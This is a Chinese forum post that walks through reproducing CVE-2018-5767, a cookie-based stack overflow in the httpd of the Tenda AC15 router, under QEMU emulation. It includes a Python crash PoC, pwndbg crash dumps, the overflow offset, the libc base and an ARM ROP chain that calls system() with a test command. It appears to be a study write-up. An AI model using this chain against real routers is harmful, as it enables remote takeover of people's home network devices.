找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
热搜: 活动 交友 discuz
查看: 82|回复: 0

IoT漏洞复现 - CVE-2018-5767

[复制链接]

2万

主题

128

回帖

9万

积分

管理员

积分
98515
发表于 2022-9-29 16:26:52 | 显示全部楼层 |阅读模式 IP:山东省 移动/数据上网公共出口

登录后更精彩...O(∩_∩)O...

您需要 登录 才可以下载或查看,没有账号?立即注册

×
IoT漏洞复现 - CVE-2018-5767

学习目标:

  • 可以知道IoT固件仿真的基础方法及排错思路
  • 可以知道对ARM架构栈溢出漏洞的利用和调试方法

相关链接:
https://www.freebuf.com/articles/wireless/166869.html
https://www.cnblogs.com/ming-michelle/p/14105791.html#autoid-14-4-0
https://www.anquanke.com/post/id/204326
https://www.cnblogs.com/ming-michelle/p/14105791.html#autoid-14-4-0
https://blog.csdn.net/song_lee/article/details/104334096
Tenda固件的下载地址:
https://www.tenda.com.cn/download/cata-11.html

复现过程:

一、环境配置

安装 qemu 和 arm 的动态链接库

  • sudo apt install qemu-user-static libc6-arm* libc6-dev-arm*
  • cp $(which qemu-arm-static) .
  • sudo chroot ./ ./qemu-arm-static ./bin/httpd


排除错误:根据打印的字符串信息

  • “/bin/sh: cant create /proc/sys/kernel/core_pattern: nonexistent directory
  • 创建相应目录mkdir -p ./proc/sys/kernel

安装 windbg

  • git init
  • git clone https://github.com/pwndbg/pwndbg
  • cd pwndbg
  • sudo #./setup.sh

能 git 在线安装的一定要在线安装,不要去下载 gitee 上的包,很多细节问题
碰到的几个环境问题,记录一下
gdb - pwndbg 里运行命令缺少 checksec、cyclic 等,报错

  • pwndbg> checksec
  • Exception occurred: checksec: Could not find command(s) checksec, pwn in $PATH (<class 'OSError'>)                                                      
  • For more info invoke `set exception-verbose on` and rerun the command
  • or debug it by yourself with `set exception-debugger on`
  • 解决方案:pip install pwntools
  • ROPgadget 无法运行,报错缺少 capstone
  • ROPgadget  
  • Traceback (most recent call last):
  •   File "/usr/local/bin/ROPgadget", line 10, in <module>
  •     import ropgadget
  •   File "/usr/local/lib/python2.7/dist-packages/ropgadget/__init__.py", line 10, in <module>
  •     import ropgadget.binary
  •   File "/usr/local/lib/python2.7/dist-packages/ropgadget/binary.py", line 11, in <module>
  •     from ropgadget.loaders.elf import *
  •   File "/usr/local/lib/python2.7/dist-packages/ropgadget/loaders/__init__.py", line 9, in <module>
  •     import ropgadget.loaders.elf
  •   File "/usr/local/lib/python2.7/dist-packages/ropgadget/loaders/elf.py", line 11, in <module>
  •     from capstone import *
  • ImportError: No module named capstone
  • 解决方案,源码级别安装 capstone
  • pypi 上搜索 capstone,下载 gz 源码
  • https://pypi.org/project/capstone/#files
  • python setup.py build
  • python setup.py install
二、文件 patch

用 zip 命令将目录打包成压缩包

  • sudo zip -r -q -o pack.zip squashfs-root

把 /bin/httpd 拖入 IDA(32位)中,查看 Strings,搜索 WeLoveLinux,定位到函数 int __fastcall sub_2E420(int a1, int a2)

  •   init_core_dump(v2);
  •   v3 = puts("\n\nYes:\n\n      ****** WeLoveLinux****** \n\n Welcome to ...");
  •   sub_30A5C(v3);
  •   while ( check_network(v21) <= 0 )
  •     sleep(1u);

所以在模拟环境下,由于 check_network 出错,就一直 sleep了

  • readelf -s ./lib/libc.so.0 | grep system
  •    433: 0005a270   348 FUNC    WEAK   DEFAULT    7 system
  •    904: 00047b38    80 FUNC    GLOBAL DEFAULT    7 svcerr_systemerr
  •   1394: 0005a270   348 FUNC    GLOBAL DEFAULT    7 __libc_system
  • netstat -atpn|grep 80  
  • sudo lsof -i:80

此处我们对程序进行patch,将其中的比较的指令MOV R3, R0修改为MOV R3, 1,从而强制让程序进入右侧分支

借用 rasm2 工具翻译汇编指令到机器指令

  • rasm2 -a arm "mov r3, r0"
  • 0030a0e1
  • asm2 -a arm "mov r3, 1"
  • 0130a0e3


一开始也就怀疑,为什么这里的偏移不一样,因为下错了 bin,下了版本号更高的之后复现不出来才发现这里有问题

跟链接里的偏移是一样的

F5 之后发现,跳过判断

  •   init_core_dump(v2);
  •   v3 = puts("\n\nYes:\n\n      ****** WeLoveLinux****** \n\n Welcome to ...");
  •   sub_30A5C(v3);
  •   check_network(v21);
  •   v4 = sleep(1u);
  •   if ( ConnectCfm(v4) )
  •   {

在 ConnectCfm(v4) 也有相同的问题,同样patch

  •   init_core_dump(v2);
  •   v3 = puts("\n\nYes:\n\n      ****** WeLoveLinux****** \n\n Welcome to ...");
  •   sub_30A5C(v3);
  •   check_network(v21);
  •   v4 = sleep(1u);
  •   ConnectCfm(v4);
  •   sub_103D0(0, 61440, 1);
  •   memset(s, 0, sizeof(s));

把 httpd 替换一下,并更新上去

  • sudo mv ./bin/httpd ./bin/httpd_init
  • sudo mv ~/Desktop/httpd ./bin/httpd
  • ls -al ./bin | grep http

这个时候再运行命令,成了这样

  • sudo chroot ./ ./qemu-arm-static ./bin/httpd
  • [sudo password for kali:
  • init_core_dump 1816: rlim_cur = 0, rlim_max = -1
  • init_core_dump 1825: open core dump success
  • init_core_dump 1834: rlim_cur = 5242880, rlim_max = 5242880
  • Yes:
  •       ****** WeLoveLinux******
  • Welcome to ...
  • connect: No such file or directory
  • Connect to server failed.
  • connect: No such file or directory
  • Connect to server failed.
  • connect: No such file or directory
  • Connect to server failed.
  • connect: No such file or directory
  • Connect to server failed.
  • connect: No such file or directory
  • Connect to server failed.
  • create socket  fail -1
  • connect: No such file or directory
  • Connect to server failed.
  • connect: No such file or directory
  • Connect to server failed.
  • connect: No such file or directory
  • Connect to server failed.
  • connect: No such file or directory
  • Connect to server failed.
  • sh: can't create /proc/sys/net/ipv4/tcp_timestamps: nonexistent directory
  • [httpd][debug]----------------------------webs.c,157
  • httpd listen ip = 255.255.255.255 port = 80
  • webs: Listening for HTTP requests at address 244.6.128.64

发现 IP 和 port 不对,需要我们修改到本地网卡来
配置网络,建立一个虚拟网桥 br0,再次运行程序

  • sudo apt install uml-utilities bridge-utils
  • sudo brctl addbr br0
  • sudo brctl addif br0 eth0
  • sudo ifconfig br0 up
  • sudo dhclient br0
  • sudo apt install uml-utilities bridge-utils
  • sudo brctl addbr br0
  • sudo brctl addif br0 ens33
  • sudo ifconfig br0 up
  • sudo dhclient br0
  • sudo chroot ./ ./qemu-arm-static ./bin/httpd

此时,IP为本机的地址,实验环境就配好了
检验环境是不是配置好了,访问:http://192.168.123.141/goform/getProduct

三、漏洞复现

开启调试运行程序,并另开终端用 gdb 远程连接调试

  • sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd
  • sudo gdb-multiarch ./bin/httpd
  • target remote :1234
  • c
  • 高版本是报错的
  • /build/gdb-yyhBNJ/gdb-10.1/gdb/i387-tdep.c:952: internal-error: void i387_supply_xsave(regcache*, int, const void*): Assertion `tdep->st0_regnum >= I386_ST0_REGNUM' failed.
  • 有问题的版本是这样的
  • For help, type "help".
  • Type "apropos word" to search for commands related to "word"...
  • Reading symbols from ./bin/httpd...
  • (No debugging symbols found in ./bin/httpd)
  • (gdb) target remote :1234
  • Remote debugging using :1234
  • warning: remote target does not support file transfer, attempting to access files from local filesystem.
  • Reading symbols from /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0...
  • (No debugging symbols found in /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0)
  • 0x3fff2930 in _start () from /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
  • (gdb) c
  • Continuing.
  • b *0x2D7E4   # 函数开始的位置
  • b *0x2DD44
  • b *0x02ED18  # 函数结束的位置
  • detach

poc为:

  • import requests
  • url = "http://192.168.123.141/goform/xxx"
  • cookie = {"Cookie":"password="+"A"*1000}
  • requests.get(url=url, cookies=cookie)

运行完 poc 之后,报错是这样的

  • Program received signal SIGSEGV, Segmentation fault.
  • 0x3fe23954 in strstr () from /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
  • (gdb) bt
  • #0  0x3fe23954 in strstr () from /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
  • #1  0x0002c5cc in ?? ()
  • Backtrace stopped: previous frame identical to this frame (corrupt stack?)

需要用 windbg

  • pwndbg> c
  • Continuing.
  • Program received signal SIGSEGV, Segmentation fault.
  • 0x3fe23954 in strstr () from /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
  • LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
  • ──────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
  • *R0   0x41414141 ('AAAA')
  • *R1   0xb36dc ◂— rsbsvc r7, r4, r8, ror #8 /* 0x70747468; 'http://' */
  • *R2   0xb36dc ◂— rsbsvc r7, r4, r8, ror #8 /* 0x70747468; 'http://' */
  • *R3   0x41414141 ('AAAA')
  • *R4   0x68
  • *R5   0xed440 ◂— strbtvs r6, [pc], -pc, lsr #14 /* 0x666f672f; '/goform/xxx' */
  • *R6   0x1
  • *R7   0x40800888 ◂— stmdbvs r2!, {r1, r2, r3, r5, r8, sb, sl, fp, sp} ^ /* 0x69622f2e; './bin/httpd' */
  • *R8   0xd938 (_init) ◂— mov    ip, sp /* 0xe1a0c00d */
  • *R9   0x2cea8 ◂— push   {r4, fp, lr} /* 0xe92d4810 */
  • *R10  0x408006f8 ◂— 0
  • *R11  0x407ff7e4 —▸ 0x2ec88 (R7WebsSecurityHandler+5284) ◂— mov    r3, #0 /* 0xe3a03000 */
  • *R12  0xd26c8 (strstr@got.plt) —▸ 0x3fe2393c (strstr) ◂— push   {r4, lr} /* 0xe92d4010 */
  • *SP   0x407ff7a8 —▸ 0xd23ac —▸ 0xd226c ◂— 1
  • *PC   0x3fe23954 (strstr+24) ◂— ldrb   ip, [r3 /* 0xe5d3c000 */
  • ───────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────
  • 0x3fe23954 <strstr+24>    ldrb   ip, [r3                      <0xd26c8>
  •    0x3fe23958 <strstr+28>    cmp    r4, ip
  •    0x3fe2395c <strstr+32>    addeq  r2, r2, #1
  •    0x3fe23960 <strstr+36>    addeq  r3, r3, #1
  •    0x3fe23964 <strstr+40>    beq    #strstr+12                   <strstr+12>
  •    
  •    0x3fe23948 <strstr+12>    ldrb   r4, [r2
  •    0x3fe2394c <strstr+16>    cmp    r4, #0
  •    0x3fe23950 <strstr+20>    popeq  {r4, pc}
  •    0x3fe23954 <strstr+24>    ldrb   ip, [r3                      <0xd26c8>
  •    0x3fe23958 <strstr+28>    cmp    r4, ip
  •    0x3fe2395c <strstr+32>    addeq  r2, r2, #1
  • ────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
  • 00:0000 sp 0x407ff7a8 —▸ 0xd23ac —▸ 0xd226c ◂— 1
  • 01:0004    0x407ff7ac —▸ 0x2c5cc ◂— mov    r3, r0 /* 0xe1a03000 */
  • 02:0008    0x407ff7b0 ◂— 0
  • 03:000c    0x407ff7b4 ◂— 0
  • 04:0010    0x407ff7b8 ◂— 1
  • 05:0014    0x407ff7bc —▸ 0xe1dbc (g_Pass) ◂— 0
  • 06:0018    0x407ff7c0 ◂— 0x41414141 ('AAAA')
  • 07:001c    0x407ff7c4 —▸ 0xef5f0 —▸ 0xef6f8 ◂— ldrbtvc r6, [r3], #-0xf68 /* 0x74736f68; 'host' */
  • ──────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────
  • f 0 0x3fe23954 strstr+24

接下来就是寻找漏洞点:一般情况 就是找关键函数
如果是堆:malloc free 看是否造成了 doublefree fastbin attack UAF off by one…
栈:memorycopy strcpy scanf sprintf gets这种 内存拷贝//内存获取时候的函数
如果用snscanf就不会 出现这个情况
漏洞点位于函数里:int __fastcall R7WebsSecurityHandler(int a1, int a2, int a3, int a4, char *s1)

  •     if ( *(_DWORD *)(a1 + 184) )
  •     {
  •       v41 = strstr(*(const char **)(a1 + 184), "password=");
  •       if ( v41 )
  •         sscanf(v41, "%*[^=]=%[^;];*", v34);
  •       else
  •         sscanf(*(const char **)(a1 + 184), "%*[^=]=%[^;];*", v34);
  •     }
  •     if ( strlen(s) <= 3
  •       || (v43 = strchr(s, 46)) == 0
  •       || (v43 = (char *)v43 + 1, memcmp(v43, "gif", 3u))
  •       && memcmp(v43, "png", 3u)
  •       && memcmp(v43, "js", 2u)
  •       && memcmp(v43, "css", 3u)
  •       && memcmp(v43, "jpg", 3u)
  •       && memcmp(v43, "jpeg", 3u) )

概述:把 password 的等号后面的值,赋值给到了一个固定大小的空间上,即


buf 的大小是 0x1C0

分析后得知,程序首先找到“password=”字符串的位置,通过sscanf函数解析从“=”号到“;”号中间的内容写入v34。这里没有对用户可控的输入进行过滤,从而有机会覆盖堆栈劫持程序流。

我们需要保证请求的url路径不会导致if语句为false,比如“/goform/xxx”就行
出错的地方并不是函数返回处,而是一个 “从不存在的地址取值” 造成的报错,目前就只能造成拒绝服务,而不能执行命令

根据出错的位置

  • ─────────────────────────[ DISASM ]──────────────────────────
  • Invalid address 0x6561616c
  • pwndbg> bt
  • #0  0x6561616c in ?? ()
  • #1  0x0002ddf8 in R7WebsSecurityHandler ()
  • Backtrace stopped: Cannot access memory at address 0x6561616c
  • Q & AWHY
  • 崩溃的返回地址显示是 0x6561616claae
  • 我们还需要观察 CPSR 寄存器的 T 位进行判断,CPSR 寄存器的标志位如下图所示


这里涉及到 ARM 模式( LSB = 0)和 Thumb 模式( LSB = 1)的切换,栈上内容弹出到 PC 寄存器时,其最低有效位(LSB)将被写入 SPSR 寄存器的 T 位,而 PC 本身的 LSB 被设置为 0
此时在 gdb 中执行

  • pwndbg> p/t $cpsr
  • $1 = 1100000000000000000000000110000

以二进制形式显示 CPSR 寄存器,发现 T 位值为 1,因此需要在之前报错的地址上加一还原为 0x6561616f(”maae”)

用 checksec 发现程序开启了 NX 保护,无法直接执行栈中的 shellcode,使用 ROP 来绕过 NX

ROP需要以下信息:
1)system 函数地址写入某寄存器的 gadget
2)往 R0 寄存器存入内容(即 system 函数的参数),并跳转到 system 函数地址的 gadget
3)libc.so 的基地址
4)system 函数在 libc 的偏移地址

  • pwndbg> cyclic -l maae
  • 448
  • ┌──(root@kali)-[~/…/Tenda/AC15/_AC15.bin.extracted/squashfs-root
  • └─# ps -ef | grep "httpd" | grep "1235"
  • root        2783    2419  0 21:43 pts/1    00:00:00 sudo chroot ./ ./qemu-arm-static -g 1235 ./bin/httpd
  • root        2784    2783  0 21:43 pts/1    00:00:00 ./qemu-arm-static -g 1235 ./bin/httpd
  • ┌──(root@kali)-[~/…/Tenda/AC15/_AC15.bin.extracted/squashfs-root
  • └─# sudo cat /proc/2784/maps | grep "libc"
  • 43418000-4347d000 r--p 00000000 08:01 2901237                            /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
  • 43485000-43486000 r--p 00065000 08:01 2901237                            /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
  • 43486000-43487000 rw-p 00066000 08:01 2901237                            /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
  • 435d5000-435e7000 r--p 00000000 08:01 2901238                            /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libcommon.so
  • 435ef000-435f0000 rw-p 00012000 08:01 2901238                            /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libcommon.so
  • 43625000-4362a000 r--p 00000000 08:01 2901228                            /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
  • 43631000-43632000 r--p 00004000 08:01 2901228                            /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
  • 43632000-43633000 rw-p 00005000 08:01 2901228                            /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
  • ps -ef | grep "httpd" | grep "1234"
  • root        1762    1552  0 02:34 pts/2    00:00:00 sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd
  • root        1763    1762  0 02:34 pts/2    00:00:00 ./qemu-arm-static -g 1234 ./bin/httpd
  • sudo cat /proc/1510/maps | grep "libc"
  • 42573000-425d8000 r--p 00000000 08:01 2901237                            /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
  • 425e0000-425e1000 r--p 00065000 08:01 2901237                            /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
  • 425e1000-425e2000 rw-p 00066000 08:01 2901237                            /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
  • 42730000-42742000 r--p 00000000 08:01 2901238                            /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libcommon.so
  • 4274a000-4274b000 rw-p 00012000 08:01 2901238                            /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libcommon.so
  • 42780000-42785000 r--p 00000000 08:01 2901228                            /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
  • 4278c000-4278d000 r--p 00004000 08:01 2901228                            /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
  • 4278d000-4278e000 rw-p 00005000 08:01 2901228                            /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
  • sudo cat /proc/2036/maps | grep "libc"
  • 41c1a000-41c7f000 r--p 00000000 08:01 2901237                            /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
  • 41c87000-41c88000 r--p 00065000 08:01 2901237                            /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
  • 41c88000-41c89000 rw-p 00066000 08:01 2901237                            /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
  • 41dd7000-41de9000 r--p 00000000 08:01 2901238                            /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libcommon.so
  • 41df1000-41df2000 rw-p 00012000 08:01 2901238                            /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libcommon.so
  • 41e27000-41e2c000 r--p 00000000 08:01 2901228                            /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
  • 41e33000-41e34000 r--p 00004000 08:01 2901228                            /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
  • 41e34000-41e35000 rw-p 00005000 08:01 2901228                            /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
  • ubuntu@ubuntu:~/Desktop/Tenda/AC15$ sudo cat /proc/4523/maps | grep "libc"
  • 7ffff6d5d000-7ffff6dc2000 r-xp 00000000 08:01 2906459                    /home/ubuntu/Desktop/Tenda/AC15/_US_AC15.bin.extracted/squashfs-root/lib/libc.so.0
  • 7ffff6dca000-7ffff6dcb000 r--p 00065000 08:01 2906459                    /home/ubuntu/Desktop/Tenda/AC15/_US_AC15.bin.extracted/squashfs-root/lib/libc.so.0
  • 7ffff6dcb000-7ffff6dcc000 rw-p 00066000 08:01 2906459                    /home/ubuntu/Desktop/Tenda/AC15/_US_AC15.bin.extracted/squashfs-root/lib/libc.so.0
  • 7ffff6f1a000-7ffff6f2c000 r-xp 00000000 08:01 2906460                    /home/ubuntu/Desktop/Tenda/AC15/_US_AC15.bin.extracted/squashfs-root/lib/libcommon.so
  • 7ffff6f34000-7ffff6f35000 rw-p 00012000 08:01 2906460                    /home/ubuntu/Desktop/Tenda/AC15/_US_AC15.bin.extracted/squashfs-root/lib/libcommon.so
  • 7ffff6f69000-7ffff6f6e000 r-xp 00000000 08:01 2906438                    /home/ubuntu/Desktop/Tenda/AC15/_US_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
  • 7ffff6f75000-7ffff6f76000 r--p 00004000 08:01 2906438                    /home/ubuntu/Desktop/Tenda/AC15/_US_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
  • 7ffff6f76000-7ffff6f77000 rw-p 00005000 08:01 2906438                    /home/ubuntu/Desktop/Tenda/AC15/_US_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0

libc 基址为:42826000
为了调试的方便,把地址随机化关掉

  • cat /proc/sys/kernel/randomize_va_space
  • 2
  • echo 0 >/proc/sys/kernel/randomize_va_space
  • 41c1a000 - 20000 = 41bfa000
  • Libc=0x409c7000
  • 但是此处有个坑,libc的地址并不正确,rop链会跳到错误的地方,
  • 看一下puts函数的地址
  • Putslibc中的地址
  • 那么libc=409dccd4-35cd4=409A7000
  • 根据 wp,我的基址就是 42826000 - 20000 = 42806000
  • 42300000 - 20000 = 422e0000

接下来寻找 gadget

  • ROPgadget --binary ./lib/libc.so.0  | grep "mov r0, sp"
  • 0x00040cb8 : mov r0, sp ; blx r3 ; mov r0, r4 ; add sp, sp, #0x18 ; pop {r4, r5, r6, pc}


上述指令会将栈顶写入 R0,并跳转到 R3 寄存器中的地址
因此需要再找一条可以写 R3 的指令即可

  • ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3
  • 0x00018298 : pop {r3, pc}
  • ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3
  • 0x00033e48 : pop {r0, r1, r2, r3, r4, pc}
  • 0x00019744 : pop {r0, r1, r2, r3, r4, r5, r6, pc}
  • 0x0002f354 : pop {r0, r1, r2, r3, r4, r5, r6, r7, r8, pc}
  • 0x0003224c : pop {r0, r1, r2, r3, r4, r5, r7, pc}
  • 0x00015f0c : pop {r1, r2, r3, pc}
  • 0x00016654 : pop {r1, r2, r3, r4, r5, pc}
  • 0x00014e40 : pop {r1, r2, r3, r4, r5, r6, r7, pc}
  • 0x0001e958 : pop {r1, r2, r3, r4, r5, r6, r7, r8, sb, sl, fp, pc}
  • 0x00016c04 : pop {r1, r2, r3, r4, r5, r6, r7, r8, sl, pc}
  • 0x000169a0 : pop {r2, r3, r4, pc}
  • 0x00041244 : pop {r2, r3, r4, r5, r6, pc}
  • 0x0001a198 : pop {r2, r3, r4, r5, r6, r7, r8, pc}
  • 0x00024870 : pop {r2, r3, r4, r5, r6, r7, r8, sb, sl, pc}
  • 0x00016ae8 : pop {r2, r3, r4, r5, r7, pc}
  • 0x00018298 : pop {r3, pc}
  • 0x0001719c : pop {r3, r4, r5, pc}
  • 0x00015d40 : pop {r3, r4, r5, r6, r7, pc}
  • 0x00017420 : pop {r3, r4, r5, r6, r7, r8, sb, sl, fp, pc}
  • 0x0001eed4 : pop {r3, r4, r5, r6, r7, r8, sl, pc}
  • 0x000153c8 : pop {r3, r4, r7, pc}
  • 0x000153c8 : pop {r3, r4, r7, pc} ; pop {r3, r4, r7, pc}


最终 payload 的格式:[ offset, gadget1, system_addr, gadget2, cmd]
其执行流程为:
1)溢出处函数返回跳转到第一个 gadget1:pop {r3, pc}
2)栈顶第一个元素 system 弹出到 R3 寄存器,第二个元素 gadget2:mov r0, sp; blx r3 弹出到 PC,使程序流执行到 gadget2
3)此时的栈顶内容 cmd 放入 R0 寄存器,并使得程序跳转到 R3 寄存器指向的地址去执行

  • TypeError: startswith first arg must be bytes or a tuple of bytes, not str


可以发现,这里的偏移是错了一位的

  • 报错:QEMU target detected - vmmap result might not be accurate; see `help vmmap`

  • pwndbg> info sharedlibrary
  • From        To          Syms Read   Shared Object Library
  • 0x3fff2930  0x3fff5e90  Yes (*)     /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0                                                      
  • 0x3ffc0fc8  0x3ffca998  Yes         /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libCfm.so                                                           
  • 0x3ffa4ad4  0x3ffb2274  Yes (*)     /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libcommon.so                                                        
  • 0x3ff93388  0x3ff977cc  Yes (*)     /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libChipApi.so                                                      
  • 0x3ff86c40  0x3ff87e68  Yes (*)     /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libvos_util.so                                                      
  • 0x3ff69548  0x3ff7a22c  Yes (*)     /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libz.so                                                            
  • 0x3ff511e8  0x3ff5751c  Yes (*)     /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libpthread.so.0                                                     
  • 0x3ff435dc  0x3ff43928  Yes (*)     /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libnvram.so                                                         
  • 0x3ff2ef9c  0x3ff36ad8  Yes (*)     /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libshared.so                                                        
  • 0x3fe8f1b4  0x3fecf0a0  Yes (*)     /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libtpi.so                                                           
  • 0x3fe6f31c  0x3fe7bcf8  Yes (*)     /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libm.so.0                                                           
  • 0x3fe5c7b0  0x3fe6354c  Yes (*)     /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libgcc_s.so.1                                                      
  • 0x3fdf9990  0x3fe40904  Yes (*)     /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0

的单步调试过程如下:

  • b *0x2ddf4
  • 漏洞位于
  •     if ( *(_DWORD *)(a1 + 184) )
  •     {
  •       v41 = strstr(*(const char **)(a1 + 184), "password=");
  •       if ( v41 )
  •         sscanf(v41, "%*[^=]=%[^;];*", v34);
  •       else
  •         sscanf(*(const char **)(a1 + 184), "%*[^=]=%[^;];*", v34);
  •     }
  • 根据 httpd 中函数 R7WebsSecurityHandler 源码第 94 - 102
  •     if ( strlen(s) <= 3
  •       || (v43 = strchr(s, 46)) == 0
  •       || (v43 = (char *)v43 + 1, memcmp(v43, "gif", 3u))
  •       && memcmp(v43, "png", 3u)
  •       && memcmp(v43, "js", 2u)
  •       && memcmp(v43, "css", 3u)
  •       && memcmp(v43, "jpg", 3u)
  •       && memcmp(v43, "jpeg", 3u) )
  •     {
  •     ……
  • }

  • 先分析代码处
  •    0x2ed10 <R7WebsSecurityHandler+5420>    mov    r0, r3
  •    0x2ed14 <R7WebsSecurityHandler+5424>    sub    sp, fp, #0x10
  • 0x2ed18 <R7WebsSecurityHandler+5428>    pop    {r4, r5, r6, fp, pc}          <0x2ed18>


这里就已经是函数 R7WebsSecurityHandler 的结尾了,之后就会跳转到我们控制的区域,先观察此时的几个寄存器

  • pwndbg> i r
  • r0             0x0                 0
  • r1             0xb3cf7             736503
  • r2             0x67                103
  • r3             0x0                 0
  • r4             0xd23ac             861100
  • r5             0xed440             971840
  • r6             0x1                 1
  • r7             0x40800882          1082132610
  • r8             0xd938              55608
  • r9             0x2cea8             183976
  • r10            0x408006e8          1082132200
  • r11            0x407ffc9c          1082129564
  • r12            0x407ffc9b          1082129563
  • sp             0x407ffc8c          0x407ffc8c
  • lr             0x2ddf8             187896
  • pc             0x2ed18             0x2ed18 <R7WebsSecurityHandler+5428>
  • pwndbg> stack 10
  • 00:0000 sp    0x407ffc8c ◂— 0x41414141 ('AAAA')
  • ...           2 skipped
  • 03:000c r12-3 0x407ffc98 ◂— strbvs r7, [lr, -lr, lsr #32]! /* 0x676e702e */
  • 04:0010 r11   0x407ffc9c —▸ 0x3fdfd298 (wait+24) ◂— pop    {r3, pc} /* 0xe8bd8008 */
  • 05:0014       0x407ffca0 —▸ 0x3fe3f270 (system) ◂— ldr    r3, [pc, #0x144] /* 0xe59f3144 */
  • 06:0018       0x407ffca4 —▸ 0x3fe25cb8 (authnone_create+192) ◂— mov    r0, sp /* 0xe1a0000d; '\r' */
  • 07:001c       0x407ffca8 ◂— svcvs  #0x686365 /* 0x6f686365; 'echo hello' */
  • 08:0020       0x407ffcac ◂— stclvs p8, c6, [r5], #-0x80 /* 0x6c656820; ' hello' */
  • 09:0024       0x407ffcb0 —▸ 0x40006f6c ◂— 0
  • si 命令往后走一步
  • ──────────────────────────────────────[ DISASM ]──────────────────────────────────────
  • 0x3fdfd298 <wait+24>      pop    {r3, pc}                      <0x3fdfd298>
  • ──────────────────────────────────────[ STACK ]───────────────────────────────────────
  • 00:0000 sp 0x407ffca0 —▸ 0x3fe3f270 (system) ◂— ldr    r3, [pc, #0x144] /* 0xe59f3144 */
  • 01:0004    0x407ffca4 —▸ 0x3fe25cb8 (authnone_create+192) ◂— mov    r0, sp /* 0xe1a0000d; '\r' */
  • 02:0008    0x407ffca8 ◂— svcvs  #0x686365 /* 0x6f686365; 'echo hello' */
  • 03:000c    0x407ffcac ◂— stclvs p8, c6, [r5], #-0x80 /* 0x6c656820; ' hello' */
  • 04:0010    0x407ffcb0 —▸ 0x40006f6c ◂— 0
  • 05:0014    0x407ffcb4 —▸ 0xef5f0 —▸ 0xef6f8 ◂— strbvs r6, [r3, #-0x361]! /* 0x65636361; 'accept-encoding' */
  • 06:0018    0x407ffcb8 ◂— 0
  • 07:001c    0x407ffcbc —▸ 0xe90f8 —▸ 0x2d7e4 (R7WebsSecurityHandler) ◂— push   {r4, r5, r6, fp, lr} /* 0xe92d4870 */
  • 继续 si
  • ──────────────────────────────────────[ DISASM ]──────────────────────────────────────
